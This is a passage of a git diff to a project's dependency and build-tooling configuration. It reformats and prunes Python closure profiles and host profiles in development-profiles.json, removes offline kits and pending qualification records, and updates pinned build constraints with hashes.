"inventory_id": "I11", "disposition": "governed", "site_count": 2}, - {"path": "implementations/python/tests/test_satisfiability_cli.py", "inventory_id": "D01", "disposition": "non-acquisition-execution", "site_count": 1}, - {"path": "implementations/python/tests/test_verification_plan.py", "inventory_id": "I16", "disposition": "non-acquisition-execution", "site_count": 1}, - {"path": "tools/check_repo_policy.py", "inventory_id": "I02", "disposition": "non-acquisition-execution", "site_count": 1}, - {"path": "tools/pr_body_issue_scope.py", "inventory_id": "S02", "disposition": "external-service", "site_count": 1}, - {"path": "tools/formal_semantic_validation/_production.py", "inventory_id": "D01", "disposition": "non-acquisition-execution", "site_count": 1}, - {"path": "tools/isabelle_tool.py", "inventory_id": "I09", "disposition": "governed", "site_count": 3}, - {"path": "tools/check_json_artifacts.py", "inventory_id": "I02", "disposition": "governed", "site_count": 1}, - {"path": "tools/nox_support/runner.py", "inventory_id": "I02", "disposition": "governed", "site_count": 3}, - {"path": "tools/osv_scanner_tool.py", "inventory_id": "I08", "disposition": "governed", "site_count": 1}, - {"path": "tools/parallel_verification.py", "inventory_id": "I02", "disposition": "non-acquisition-execution", "site_count": 1}, - {"path": "tools/bootstrap_profile.py", "inventory_id": "I04", "disposition": "governed", "site_count": 4}, - {"path": "tools/devcontainer_setup.py", "inventory_id": "I04", "disposition": "governed", "site_count": 1}, - {"path": "tools/maintained_client_acquisition.py", "inventory_id": "I05", "disposition": "governed", "site_count": 2}, - {"path": "tools/policy/common.py", "inventory_id": "I16", "disposition": "non-acquisition-execution", "site_count": 1}, - {"path": "tools/policy/conftest_tool.py", "inventory_id": "I05", "disposition": "governed", "site_count": 2}, - {"path": "tools/policy/requirement_governance.py", "inventory_id": "S02", "disposition": "external-service", "site_count": 1}, - {"path": "tools/real-daemon/run_aws_guest_certify.sh", "inventory_id": "I13", "disposition": "governed", "site_count": 1}, - {"path": "tools/real-daemon/run_aws_smoke.sh", "inventory_id": "I13", "disposition": "governed", "site_count": 1}, - {"path": "tools/tooling_policy_gate.py", "inventory_id": "I02", "disposition": "non-acquisition-execution", "site_count": 2}, - {"path": "tools/python_closure.py", "inventory_id": "I02", "disposition": "governed", "site_count": 1}, - {"path": "tools/verification_plan.py", "inventory_id": "I16", "disposition": "non-acquisition-execution", "site_count": 1}, - {"path": "tools/verify_all.py", "inventory_id": "I02", "disposition": "governed", "site_count": 1} - ] -} diff --git a/implementations/tooling/profiles/development-profiles.json b/implementations/tooling/profiles/development-profiles.json index 53a85d849..65307c707 100644 --- a/implementations/tooling/profiles/development-profiles.json +++ b/implementations/tooling/profiles/development-profiles.json @@ -49,6 +49,7 @@ "devcontainer-base-image", "gitleaks", "osv-scanner", + "release-test-alpine", "scorecard-action-image", "sonar-scanner-cli", "uv", @@ -75,6 +76,11 @@ "locator_id": "official-github-release", "kind": "official-https", "trust_root_ref": "system-ca" + }, + { + "locator_id": "docker-official-images-registry", + "kind": "oci-digest", + "trust_root_ref": "docker-official-images-index-digest" } ], "supported_artifact_ids": [ @@ -82,6 +88,7 @@ "cpython-3.14", "gitleaks", "osv-scanner", + "release-test-alpine", "uv", "vale" ] @@ -217,23 +224,12 @@ "context_id": "python-public", "mode": "public", "locator_ref": "pypi-simple", - "namespace_mapping": [{"namespace": "*", "locator_ref": "pypi-simple"}], - "credential_refs": [], - "public_fallback": "prohibited" - }, - { - "context_id": "python-enterprise-mirror-only", - "mode": "mirror-only", - "locator_ref": "enterprise-python-simple", - "namespace_mapping": [{"namespace": "*", "locator_ref": "enterprise-python-simple"}], - "credential_refs": ["credential-ref:enterprise/python/read"], - "public_fallback": "prohibited" - }, - { - "context_id": "python-offline", - "mode": "offline", - "locator_ref": "verified-wheelhouse", - "namespace_mapping": [], + "namespace_mapping": [ + { + "namespace": "*", + "locator_ref": "pypi-simple" + } + ], "credential_refs": [], "public_fallback": "prohibited" } @@ -241,156 +237,268 @@ "python_closure_profiles": [ { "python_closure_profile_id": "public-linux-x86_64-cp311-all-extras", - "owner_roles": ["Tooling", "Release"], - "purposes": ["tool", "build", "wheel-smoke", "sdist-smoke", "compatibility"], + "owner_roles": [ + "Maintainer" + ], + "purposes": [ + "tool", + "build", + "wheel-smoke", + "sdist-smoke", + "compatibility" + ], "host_profile_id": "public-ubuntu-24.04-x86_64", - "python": {"implementation": "cpython", "version": "3.11", "abi": "cp311", "platform": "x86_64-unknown-linux-gnu"}, - "project_extras": ["dev", "docs"], - "tool_groups": ["default", "build"], - "acquisition_context_ids": ["python-public", "python-enterprise-mirror-only", "python-offline"], + "python": { + "implementation": "cpython", + "version": "3.11", + "abi": "cp311", + "platform": "x86_64-unknown-linux-gnu" + }, + "project_extras": [ + "dev", + "docs" + ], + "tool_groups": [ + "default", + "build" + ], + "acquisition_context_ids": [ + "python-public" + ], "project_lock": "implementations/python/uv.lock", "tool_lock": "implementations/tooling/python/uv.lock", "build_constraints": "implementations/tooling/python/build-constraints.txt", "smoke_requirements": "implementations/tooling/python/smoke/linux-x86_64-cp311.txt", "wheelhouse_manifest": "implementations/tooling/python/smoke/linux-x86_64-cp311.wheelhouse-manifest.json", "source_build_disposition": "wheels-only", - "test_case_ids": ["T03", "T10", "T11", "T13", "T23"] + "test_case_ids": [ + "T03", + "T10", + "T11", + "T13", + "T23" + ] }, { "python_closure_profile_id": "public-linux-x86_64-cp312-all-extras", - "owner_roles": ["Tooling", "Release"], - "purposes": ["tool", "build", "wheel-smoke", "sdist-smoke", "compatibility", "docs"], + "owner_roles": [ + "Maintainer" + ], + "purposes": [ + "tool", + "build", + "wheel-smoke", + "sdist-smoke", + "compatibility", + "docs" + ], "host_profile_id": "public-ubuntu-24.04-x86_64", - "python": {"implementation": "cpython", "version": "3.12", "abi": "cp312", "platform": "x86_64-unknown-linux-gnu"}, - "project_extras": ["dev", "docs"], - "tool_groups": ["default", "build"], - "acquisition_context_ids": ["python-public", "python-enterprise-mirror-only", "python-offline"], + "python": { + "implementation": "cpython", + "version": "3.12", + "abi": "cp312", + "platform": "x86_64-unknown-linux-gnu" + }, + "project_extras": [ + "dev", + "docs" + ], + "tool_groups": [ + "default", + "build" + ], + "acquisition_context_ids": [ + "python-public" + ], "project_lock": "implementations/python/uv.lock", "tool_lock": "implementations/tooling/python/uv.lock", "build_constraints": "implementations/tooling/python/build-constraints.txt", "smoke_requirements": "implementations/tooling/python/smoke/linux-x86_64-cp312.txt", "wheelhouse_manifest": "implementations/tooling/python/smoke/linux-x86_64-cp312.wheelhouse-manifest.json", "source_build_disposition": "wheels-only", - "test_case_ids": ["T03", "T10", "T11", "T13", "T23"] + "test_case_ids": [ + "T03", + "T10", + "T11", + "T13", + "T23" + ] }, { "python_closure_profile_id": "public-linux-x86_64-cp313-all-extras", - "owner_roles": ["Tooling", "Release"], - "purposes": ["tool", "build", "wheel-smoke", "sdist-smoke", "compatibility"], + "owner_roles": [ + "Maintainer" + ], + "purposes": [ + "tool", + "build", + "wheel-smoke", + "sdist-smoke", + "compatibility" + ], "host_profile_id": "public-ubuntu-24.04-x86_64", - "python": {"implementation": "cpython", "version": "3.13", "abi": "cp313", "platform": "x86_64-unknown-linux-gnu"}, - "project_extras": ["dev", "docs"], - "tool_groups": ["default", "build"], - "acquisition_context_ids": ["python-public", "python-enterprise-mirror-only", "python-offline"], + "python": { + "implementation": "cpython", + "version": "3.13", + "abi": "cp313", + "platform": "x86_64-unknown-linux-gnu" + }, + "project_extras": [ + "dev", + "docs" + ], + "tool_groups": [ + "default", + "build" + ], + "acquisition_context_ids": [ + "python-public" + ], "project_lock": "implementations/python/uv.lock", "tool_lock": "implementations/tooling/python/uv.lock", "build_constraints": "implementations/tooling/python/build-constraints.txt", "smoke_requirements": "implementations/tooling/python/smoke/linux-x86_64-cp313.txt", "wheelhouse_manifest": "implementations/tooling/python/smoke/linux-x86_64-cp313.wheelhouse-manifest.json", "source_build_disposition": "wheels-only", - "test_case_ids": ["T03", "T10", "T11", "T13", "T23"] + "test_case_ids": [ + "T03", + "T10", + "T11", + "T13", + "T23" + ] }, { "python_closure_profile_id": "public-linux-x86_64-cp314-all-extras", - "owner_roles": ["Tooling", "Release"], - "purposes": ["tool", "build", "wheel-smoke", "sdist-smoke", "compatibility"], + "owner_roles": [ + "Maintainer" + ], + "purposes": [ + "tool", + "build", + "wheel-smoke", + "sdist-smoke", + "compatibility" + ], "host_profile_id": "public-ubuntu-24.04-x86_64", - "python": {"implementation": "cpython", "version": "3.14", "abi": "cp314", "platform": "x86_64-unknown-linux-gnu"}, - "project_extras": ["dev", "docs"], - "tool_groups": ["default", "build"], - "acquisition_context_ids": ["python-public", "python-enterprise-mirror-only", "python-offline"], + "python": { + "implementation": "cpython", + "version": "3.14", + "abi": "cp314", + "platform": "x86_64-unknown-linux-gnu" + }, + "project_extras": [ + "dev", + "docs" + ], + "tool_groups": [ + "default", + "build" + ], + "acquisition_context_ids": [ + "python-public" + ], "project_lock": "implementations/python/uv.lock", "tool_lock": "implementations/tooling/python/uv.lock", "build_constraints": "implementations/tooling/python/build-constraints.txt", "smoke_requirements": "implementations/tooling/python/smoke/linux-x86_64-cp314.txt", "wheelhouse_manifest": "implementations/tooling/python/smoke/linux-x86_64-cp314.wheelhouse-manifest.json", "source_build_disposition": "wheels-only", - "test_case_ids": ["T03", "T10", "T11", "T13", "T23"] + "test_case_ids": [ + "T03", + "T10", + "T11", + "T13", + "T23" + ] }, { "python_closure_profile_id": "public-linux-arm64-cp314-all-extras", - "owner_roles": ["Tooling", "Release"], - "purposes": ["tool", "build", "wheel-smoke", "sdist-smoke", "compatibility"], + "owner_roles": [ + "Maintainer" + ], + "purposes": [ + "tool", + "build", + "wheel-smoke", + "sdist-smoke", + "compatibility" + ], "host_profile_id": "public-linux-arm64", - "python": {"implementation": "cpython", "version": "3.14", "abi": "cp314", "platform": "aarch64-unknown-linux-gnu"}, - "project_extras": ["dev", "docs"], - "tool_groups": ["default", "build"], - "acquisition_context_ids": ["python-public", "python-enterprise-mirror-only", "python-offline"], + "python": { + "implementation": "cpython", + "version": "3.14", + "abi": "cp314", + "platform": "aarch64-unknown-linux-gnu" + }, + "project_extras": [ + "dev", + "docs" + ], + "tool_groups": [ + "default", + "build" + ], + "acquisition_context_ids": [ + "python-public" + ], "project_lock": "implementations/python/uv.lock", "tool_lock": "implementations/tooling/python/uv.lock", "build_constraints": "implementations/tooling/python/build-constraints.txt", "smoke_requirements": "implementations/tooling/python/smoke/linux-arm64-cp314.txt", "wheelhouse_manifest": "implementations/tooling/python/smoke/linux-arm64-cp314.wheelhouse-manifest.json", "source_build_disposition": "wheels-only", - "test_case_ids": ["T03", "T10", "T11", "T13", "T23"] + "test_case_ids": [ + "T03", + "T10", + "T11", + "T13", + "T23" + ] }, { "python_closure_profile_id": "public-macos-arm64-cp314-all-extras", - "owner_roles": ["Tooling", "Release"], - "purposes": ["tool", "build", "wheel-smoke", "sdist-smoke", "compatibility"], + "owner_roles": [ + "Maintainer" + ], + "purposes": [ + "tool", + "build", + "wheel-smoke", + "sdist-smoke", + "compatibility" + ], "host_profile_id": "public-macos-arm64", - "python": {"implementation": "cpython", "version": "3.14", "abi": "cp314", "platform": "aarch64-apple-darwin"}, - "project_extras": ["dev", "docs"], - "tool_groups": ["default", "build"], - "acquisition_context_ids": ["python-public", "python-enterprise-mirror-only", "python-offline"], + "python": { + "implementation": "cpython", + "version": "3.14", + "abi": "cp314", + "platform": "aarch64-apple-darwin" + }, + "project_extras": [ + "dev", + "docs" + ], + "tool_groups": [ + "default", + "build" + ], + "acquisition_context_ids": [ + "python-public" + ], "project_lock": "implementations/python/uv.lock", "tool_lock": "implementations/tooling/python/uv.lock", "build_constraints": "implementations/tooling/python/build-constraints.txt", "smoke_requirements": "implementations/tooling/python/smoke/macos-arm64-cp314.txt", "wheelhouse_manifest": "implementations/tooling/python/smoke/macos-arm64-cp314.wheelhouse-manifest.json", "source_build_disposition": "wheels-only", - "test_case_ids": ["T03", "T10", "T11", "T13", "T23"] - }, - { - "python_closure_profile_id": "public-linux-x86_64-cp314-tools", - "owner_roles": ["Tooling", "Release"], - "purposes": ["tool", "build"], - "host_profile_id": "public-ubuntu-24.04-x86_64", - "python": {"implementation": "cpython", "version": "3.14", "abi": "cp314", "platform": "x86_64-unknown-linux-gnu"}, - "project_extras": [], - "tool_groups": ["default", "build"], - "acquisition_context_ids": ["python-public", "python-enterprise-mirror-only", "python-offline"], - "project_lock": "implementations/python/uv.lock", - "tool_lock": "implementations/tooling/python/uv.lock", - "build_constraints": "implementations/tooling/python/build-constraints.txt", - "smoke_requirements": "implementations/tooling/python/smoke/tools-linux-x86_64-cp314.txt", - "wheelhouse_manifest": "implementations/tooling/python/smoke/tools-linux-x86_64-cp314.wheelhouse-manifest.json", - "source_build_disposition": "wheels-only", - "test_case_ids": ["T03", "T10", "T11", "T13", "T23"] - }, - { - "python_closure_profile_id": "public-linux-arm64-cp314-tools", - "owner_roles": ["Tooling", "Release"], - "purposes": ["tool", "build"], - "host_profile_id": "public-linux-arm64", - "python": {"implementation": "cpython", "version": "3.14", "abi": "cp314", "platform": "aarch64-unknown-linux-gnu"}, - "project_extras": [], - "tool_groups": ["default", "build"], - "acquisition_context_ids": ["python-public", "python-enterprise-mirror-only", "python-offline"], - "project_lock": "implementations/python/uv.lock", - "tool_lock": "implementations/tooling/python/uv.lock", - "build_constraints": "implementations/tooling/python/build-constraints.txt", - "smoke_requirements": "implementations/tooling/python/smoke/tools-linux-arm64-cp314.txt", - "wheelhouse_manifest": "implementations/tooling/python/smoke/tools-linux-arm64-cp314.wheelhouse-manifest.json", - "source_build_disposition": "wheels-only", - "test_case_ids": ["T03", "T10", "T11", "T13", "T23"] - }, - { - "python_closure_profile_id": "public-macos-arm64-cp314-tools", - "owner_roles": ["Tooling", "Release"], - "purposes": ["tool", "build"], - "host_profile_id": "public-macos-arm64", - "python": {"implementation": "cpython", "version": "3.14", "abi": "cp314", "platform": "aarch64-apple-darwin"}, - "project_extras": [], - "tool_groups": ["default", "build"], - "acquisition_context_ids": ["python-public", "python-enterprise-mirror-only", "python-offline"], - "project_lock": "implementations/python/uv.lock", - "tool_lock": "implementations/tooling/python/uv.lock", - "build_constraints": "implementations/tooling/python/build-constraints.txt", - "smoke_requirements": "implementations/tooling/python/smoke/tools-macos-arm64-cp314.txt", - "wheelhouse_manifest": "implementations/tooling/python/smoke/tools-macos-arm64-cp314.wheelhouse-manifest.json", - "source_build_disposition": "wheels-only", - "test_case_ids": ["T03", "T10", "T11", "T13", "T23"] + "test_case_ids": [ + "T03", + "T10", + "T11", + "T13", + "T23" + ] } ], "host_profiles": [ @@ -443,32 +551,12 @@ ], "proof_support": "unsupported", "host_security_control_changes": "prohibited", - "offline_kit": { - "kit_id": "ubuntu-24.04-x86_64-bootstrap", - "credential_free": true, - "network_fallback": "prohibited", - "artifact_ids": [ - "conftest", - "cpython-3.14", - "gitleaks", - "osv-scanner", - "uv", - "vale" - ], - "host_prerequisite_package_ids": [ - "git", - "ca-certificates", - "coreutils", - "curl", - "gh" - ], - "host_trust_root_refs": [ - "ubuntu-archive-keyring", - "github-runner-image-release" - ] - }, - "qualification_record_ids": [ - "ubuntu-24.04-x86_64-t02-t03-t08-issue-839-pending" + "host_prerequisite_package_ids": [ + "git", + "ca-certificates", + "coreutils", + "curl", + "gh" ] }, { @@ -517,32 +605,12 @@ ], "proof_support": "unsupported", "host_security_control_changes": "prohibited", - "offline_kit": { - "kit_id": "linux-arm64-bootstrap", - "credential_free": true, - "network_fallback": "prohibited", - "artifact_ids": [ - "conftest", - "cpython-3.14", - "gitleaks", - "osv-scanner", - "uv", - "vale" - ], - "host_prerequisite_package_ids": [ - "git", - "ca-certificates", - "coreutils", - "curl", - "gh" - ], - "host_trust_root_refs": [ - "ubuntu-archive-keyring", - "github-runner-image-release" - ] - }, - "qualification_record_ids": [ - "linux-arm64-t02-t08-t12-issue-839-pending" + "host_prerequisite_package_ids": [ + "git", + "ca-certificates", + "coreutils", + "curl", + "gh" ] }, { @@ -588,32 +656,12 @@ ], "proof_support": "unsupported", "host_security_control_changes": "prohibited", - "offline_kit": { - "kit_id": "macos-arm64-bootstrap", - "credential_free": true, - "network_fallback": "prohibited", - "artifact_ids": [ - "conftest", - "cpython-3.14", - "gitleaks", - "osv-scanner", - "uv", - "vale" - ], - "host_prerequisite_package_ids": [ - "git", - "ca-certificates", - "coreutils", - "curl", - "gh" - ], - "host_trust_root_refs": [ - "apple-system-roots", - "homebrew-bottle-attestation" - ] - }, - "qualification_record_ids": [ - "macos-arm64-t02-t08-t12-issue-839-pending" + "host_prerequisite_package_ids": [ + "git", + "ca-certificates", + "coreutils", + "curl", + "gh" ] }, { @@ -661,31 +709,14 @@ ], "proof_support": "linux-x86_64-required", "host_security_control_changes": "prohibited", - "offline_kit": { - "kit_id": "proof-ubuntu-22.04-x86_64-bootstrap", - "credential_free": true, - "network_fallback": "prohibited", - "artifact_ids": [ - "cpython-3.12", - "isabelle", - "uv" - ], - "host_prerequisite_package_ids": [ - "git", - "ca-certificates", - "coreutils", - "bubblewrap", - "fontconfig", - "fonts-dejavu-core", - "libc-bin" - ], - "host_trust_root_refs": [ - "ubuntu-archive-keyring", - "github-runner-image-release" - ] - }, - "qualification_record_ids": [ - "proof-ubuntu-22.04-x86_64-t01-issue-839-pending" + "host_prerequisite_package_ids": [ + "git", + "ca-certificates", + "coreutils", + "bubblewrap", + "fontconfig", + "fonts-dejavu-core", + "libc-bin" ] }, { @@ -698,8 +729,7 @@ "native_family": "ubuntu-apt", "base_image_identity": "docker.io/library/ubuntu:24.04", "base_image_artifact_ref": "devcontainer-base-image", - "native_repository_identity": "ubuntu-noble-archive-snapshot", - "native_repository_snapshot": "20260912T000000Z", + "native_repository_identity": "ubuntu:noble:signed-archive", "trust_root_refs": [ "ubuntu-archive-keyring", "docker-official-images-index-digest" @@ -727,50 +757,16 @@ ], "proof_support": "unsupported", "host_security_control_changes": "prohibited", - "offline_kit": { - "kit_id": "container-ubuntu-24.04-x86_64-bootstrap", - "credential_free": true, - "network_fallback": "prohibited", - "artifact_ids": [ - "conftest", - "cpython-3.14", - "gitleaks", - "osv-scanner", - "uv", - "vale" - ], - "host_prerequisite_package_ids": [ - "ca-certificates", - "coreutils", - "curl", - "gh", - "git", - "python3", - "python3-jsonschema", - "python3-packaging", - "python3-yaml" - ], - "host_trust_root_refs": [ - "ubuntu-archive-keyring" - ] - }, - "development_package_ids": [ - "bash-completion", - "gnupg", - "jq", - "less", - "make", - "nano", - "openssh-client", - "procps" - ], - "development_user": { - "name": "raes", - "uid": 1000, - "gid": 1000 - }, - "qualification_record_ids": [ - "container-ubuntu-24.04-x86_64-t02-t08-issue-1238-pending" + "host_prerequisite_package_ids": [ + "ca-certificates", + "coreutils", + "curl", + "gh", + "git", + "python3", + "python3-jsonschema", + "python3-packaging", + "python3-yaml" ] }, { @@ -782,8 +778,7 @@ ], "native_family": "ubuntu-apt", "base_image_identity": "aws-canonical:ubuntu/images/hvm-ssd-gp3/ubuntu-noble-24.04-amd64-server-20260911", - "native_repository_identity": "ubuntu-noble-snapshot", - "native_repository_snapshot": "20260901T000000Z", + "native_repository_identity": "ubuntu:noble:signed-archive", "trust_root_refs": [ "ubuntu-archive-keyring", "aws-image-identity" @@ -812,217 +807,24 @@ ], "proof_support": "unsupported", "host_security_control_changes": "prohibited", - "offline_kit": { - "kit_id": "live-runner-ubuntu-24.04-x86_64-bootstrap", - "credential_free": true, - "network_fallback": "prohibited", - "artifact_ids": [ - "cirros-guest-disk", - "cpython-3.14", - "uv" - ], - "host_prerequisite_package_ids": [ - "build-essential", - "busybox-static", - "ca-certificates", - "coreutils", - "cpio", - "curl", - "genisoimage", - "git", - "libvirt-clients", - "libvirt-daemon-system", - "libvirt-dev", - "pkg-config", - "python3-dev", - "qemu-system-x86", - "qemu-utils", - "rsync" - ], - "host_trust_root_refs": [ - "ubuntu-archive-keyring" - ] - }, - "qualification_record_ids": [ - "live-runner-ubuntu-24.04-x86_64-issue-1222-pending" + "host_prerequisite_package_ids": [ + "build-essential", + "busybox-static", + "ca-certificates", + "coreutils", + "cpio", + "curl", + "genisoimage", + "git", + "libvirt-clients", + "libvirt-daemon-system", + "libvirt-dev", + "pkg-config", + "python3-dev", + "qemu-system-x86", + "qemu-utils", + "rsync" ] } - ], - "qualification_records": [ - { - "evidence_id": "ubuntu-24.04-x86_64-t02-t03-t08-issue-839-pending", - "host_profile_id": "public-ubuntu-24.04-x86_64", - "test_case_ids": [ - "T02", - "T03", - "T08" - ], - "implementation_revision": "4914612d108f06ff9db2eb69a14449a830a20848", - "observed_at": "2026-09-11T00:00:00Z", - "context": "v2 action-input policy qualification is pending execution on the delivery revision", - "outcome": "not-run", - "base_image_identity": "unobserved", - "native_repository_identity": "unobserved", - "policy_sha256": "9c777874a799fc82ce511dcb71aa3cf2c82605ce6d08a455610a77be4d5fa012", - "capability_results": [ - { - "capability_id": "qualification-workflow", - "outcome": "not-run", - "observed_identity": "delivery-revision", - "reason_code": "awaiting-delivery-revision" - } - ], - "limitations": [ - "The v2 action-source, payload-closure, origin, credential, and use-site policy has not been executed on this delivery revision.", - "Reviewed profile declaration is not execution evidence until the delivery workflow records a result." - ], - "evidence_location": ".github/workflows/bootstrap-qualification.yml", - "evidence_sha256": "0d407b8dcf936e693df5e4c456a32a199ee08a25b4ce266a8728dfd366ea9688" - }, - { - "evidence_id": "linux-arm64-t02-t08-t12-issue-839-pending", - "host_profile_id": "public-linux-arm64", - "test_case_ids": [ - "T02", - "T08", - "T12" - ], - "implementation_revision": "4914612d108f06ff9db2eb69a14449a830a20848", - "observed_at": "2026-09-11T00:00:00Z", - "context": "v2 action-input policy qualification is pending execution on the delivery revision", - "outcome": "not-run", - "base_image_identity": "unobserved", - "native_repository_identity": "unobserved", - "policy_sha256": "9c777874a799fc82ce511dcb71aa3cf2c82605ce6d08a455610a77be4d5fa012", - "capability_results": [ - { - "capability_id": "native-proof", - "outcome": "unsupported", - "observed_identity": "linux-arm64", - "reason_code": "proof-requires-linux-x86_64" - } - ], - "limitations": [ - "The v2 action-source, payload-closure, origin, credential, and use-site policy has not been executed on this delivery revision.", - "Native proof execution is unsupported; use the qualified Linux x86_64 proof profile." - ], - "evidence_location": ".github/workflows/bootstrap-qualification.yml", - "evidence_sha256": "0d407b8dcf936e693df5e4c456a32a199ee08a25b4ce266a8728dfd366ea9688" - }, - { - "evidence_id": "macos-arm64-t02-t08-t12-issue-839-pending", - "host_profile_id": "public-macos-arm64", - "test_case_ids": [ - "T02", - "T08", - "T12" - ], - "implementation_revision": "4914612d108f06ff9db2eb69a14449a830a20848", - "observed_at": "2026-09-11T00:00:00Z", - "context": "v2 action-input policy qualification is pending execution on the delivery revision", - "outcome": "not-run", - "base_image_identity": "unobserved", - "native_repository_identity": "unobserved", - "policy_sha256": "9c777874a799fc82ce511dcb71aa3cf2c82605ce6d08a455610a77be4d5fa012", - "capability_results": [ - { - "capability_id": "native-proof", - "outcome": "unsupported", - "observed_identity": "macos-arm64", - "reason_code": "proof-requires-linux-x86_64" - } - ], - "limitations": [ - "The v2 action-source, payload-closure, origin, credential, and use-site policy has not been executed on this delivery revision.", - "Native proof execution is unsupported; use the qualified Linux x86_64 proof profile." - ], - "evidence_location": ".github/workflows/bootstrap-qualification.yml", - "evidence_sha256": "0d407b8dcf936e693df5e4c456a32a199ee08a25b4ce266a8728dfd366ea9688" - }, - { - "evidence_id": "proof-ubuntu-22.04-x86_64-t01-issue-839-pending", - "host_profile_id": "proof-ubuntu-22.04-x86_64", - "test_case_ids": [ - "T01" - ], - "implementation_revision": "4914612d108f06ff9db2eb69a14449a830a20848", - "observed_at": "2026-09-11T00:00:00Z", - "context": "v2 action-input policy qualification is pending execution on the delivery revision", - "outcome": "not-run", - "base_image_identity": "unobserved", - "native_repository_identity": "unobserved", - "policy_sha256": "9c777874a799fc82ce511dcb71aa3cf2c82605ce6d08a455610a77be4d5fa012", - "capability_results": [ - { - "capability_id": "qualification-workflow", - "outcome": "not-run", - "observed_identity": "delivery-revision", - "reason_code": "awaiting-delivery-revision" - } - ], - "limitations": [ - "The v2 action-source, payload-closure, origin, credential, and use-site policy has not been executed on this delivery revision.", - "The existing proof gate passed on the base revision; exact host-capability evidence begins with the delivery workflow." - ], - "evidence_location": ".github/workflows/canonical-verification.yml", - "evidence_sha256": "39a854de4e391050b7e769a3fefb9f26b6da9daff3b48e9359e906205bbba2df" - }, - { - "evidence_id": "container-ubuntu-24.04-x86_64-t02-t08-issue-1238-pending", - "host_profile_id": "container-ubuntu-24.04-x86_64", - "test_case_ids": [ - "T02", - "T08" - ], - "implementation_revision": "4914612d108f06ff9db2eb69a14449a830a20848", - "observed_at": "2026-09-12T00:00:00Z", - "context": "clean-image qualification is pending execution on the delivery revision", - "outcome": "not-run", - "base_image_identity": "unobserved", - "native_repository_identity": "unobserved", - "policy_sha256": "9c777874a799fc82ce511dcb71aa3cf2c82605ce6d08a455610a77be4d5fa012", - "capability_results": [ - { - "capability_id": "qualification-workflow", - "outcome": "not-run", - "observed_identity": "delivery-revision", - "reason_code": "awaiting-delivery-revision" - } - ], - "limitations": [ - "The clean-image build, dev-container lifecycle setup, host-capability probe, and locked generic-tool execution have not been recorded on this delivery revision." - ], - "evidence_location": ".github/workflows/bootstrap-qualification.yml", - "evidence_sha256": "0d407b8dcf936e693df5e4c456a32a199ee08a25b4ce266a8728dfd366ea9688" - }, - { - "evidence_id": "live-runner-ubuntu-24.04-x86_64-issue-1222-pending", - "host_profile_id": "live-runner-ubuntu-24.04-x86_64", - "test_case_ids": [ - "T01" - ], - "implementation_revision": "10293fe606ee04d4a0750b4b6553c8f884060025", - "observed_at": "2026-09-14T00:00:00Z", - "context": "The live-runner host's locked-input bootstrap (uv/CPython) qualification is pending execution on the delivery revision; the live input-closure qualification (operations T07/T13/T21) is operator-run against a real libvirt/QEMU host and recorded in docs/decisions/package-artifacts/operations.md, not in this bootstrap-qualification record. The hermetic nox verify graph never provisions a daemon or cloud host.", - "outcome": "not-run", - "base_image_identity": "unobserved", - "native_repository_identity": "unobserved", - "policy_sha256": "9c777874a799fc82ce511dcb71aa3cf2c82605ce6d08a455610a77be4d5fa012", - "capability_results": [ - { - "capability_id": "live-runner-qualification", - "outcome": "not-run", - "observed_identity": "delivery-revision", - "reason_code": "awaiting-live-execution" - } - ], - "limitations": [ - "This reviewed profile declaration is not execution evidence until an operator records a measured result under the exact delivery revision.", - "The live input-closure cases (operations T07/T13/T21) require a real libvirt/QEMU daemon and an ephemeral AWS host; they are operator-run out-of-band and are not projected into this bootstrap-qualification record.", - "The in-repository slices of T13/T21 (input admission, tampered/unpinned rejection, script safety) run as hermetic unit tests; the live concurrency and full closure boot slices remain operator obligations recorded in operations.md." - ], - "evidence_location": "docs/decisions/package-artifacts/operations.md", - "evidence_sha256": "3ec9e1fcf12822dce63a690c05db703c26d5925a705d21a26232b267a4582fae" - } ] } diff --git a/implementations/tooling/python/build-constraints.txt b/implementations/tooling/python/build-constraints.txt index 30a3a1ea0..dbe1b9e3a 100644 --- a/implementations/tooling/python/build-constraints.txt +++ b/implementations/tooling/python/build-constraints.txt @@ -1,6 +1,6 @@ -hatchling==1.27.0 \ - --hash=sha256:971c296d9819abb3811112fc52c7a9751c8d381898f36533bb16f9791e941fd6 \ - --hash=sha256:d3a2f3567c4f926ea39849cdf924c7e99e6686c9c8e288ae1037c8fa2a5d937b +hatchling==1.32.0 \ + --hash=sha256:0bdbde4a52b06c37e3eca395f85a762bf0ef06fe374fd8ae429dc6be10230f5f \ + --hash=sha256:0e17c9c3b9aa7c625acc8d0f5b622f107d5049af9ecf5ada4de1aada5be7cdbc packaging==26.3 \ --hash=sha256:94edc256424af38762eb31306eed28beb9f0efc50a8837492c9d6fd6004aed79 \ --hash=sha256:d7193f7c8e4e93f444fde0262bf90af30e16fa0ad0ad44cb553c87339b23cd1c @@ -10,6 +10,9 @@ pathspec==1.1.1 \ pluggy==1.6.0 \ --hash=sha256:7dcc130b76258d33b90f61b658791dede3486c3e6bfb003ee5c9bfb396dd22f3 \ --hash=sha256:e920276dd6813095e9377c0bc5566d94c932c33b27a3e3945d8389c374dd4746 +tomlkit==0.15.1 \ + --hash=sha256:177a05aece5a8ca5266fd3c448abb47b8d352f09d477d3ca8332db4d89b24304 \ + --hash=sha256:e25bbf38843005246210a12982776f27f99cb9be67160e14434d0c0d21ee1e97 trove-classifiers==2026.6.1.19 \ --hash=sha256:ab4c4ec93cc4a4e7815fa759906e05e6bb3f2fbd92ea0f897288c6a43efd15b3 \ --hash=sha256:c5132b4b61a829d11cfbd2d72e97f20a45ed6edb95e45c5efdeb5e00836b2745 diff --git a/implementations/tooling/python/pyproject.toml b/implementations/tooling/python/pyproject.toml index e0510bcd5..4745acaa3 100644 --- a/implementations/tooling/python/pyproject.toml +++ b/implementations/tooling/python/pyproject.toml @@ -5,7 +5,6 @@ description = "Reviewed Python verification and isolated-build dependency closur requires-python = ">=3.11,<3.15" dependencies = [ "check-jsonschema==0.37.1", - "cryptography==50.0.1", "filelock==3.32.6", "nox[uv]==2026.4.10", "pip==26.2.1", @@ -18,8 +17,11 @@ dependencies = [ ] [dependency-groups] +acquisition-tests = [ + "cryptography==50.0.1", +] build = [ - "hatchling==1.27.0", + "hatchling==1.32.0", ] [tool.uv] diff --git a/implementations/tooling/python/smoke/linux-arm64-cp314.txt b/implementations/tooling/python/smoke/linux-arm64-cp314.txt index 466f49f73..7ab33c192 100644 --- a/implementations/tooling/python/smoke/linux-arm64-cp314.txt +++ b/implementations/tooling/python/smoke/linux-arm64-cp314.txt @@ -2,8 +2,8 @@ accessible-pygments==0.0.5 --hash=sha256:88ae3211e68a1d0b011504b2ffc1691feafce12 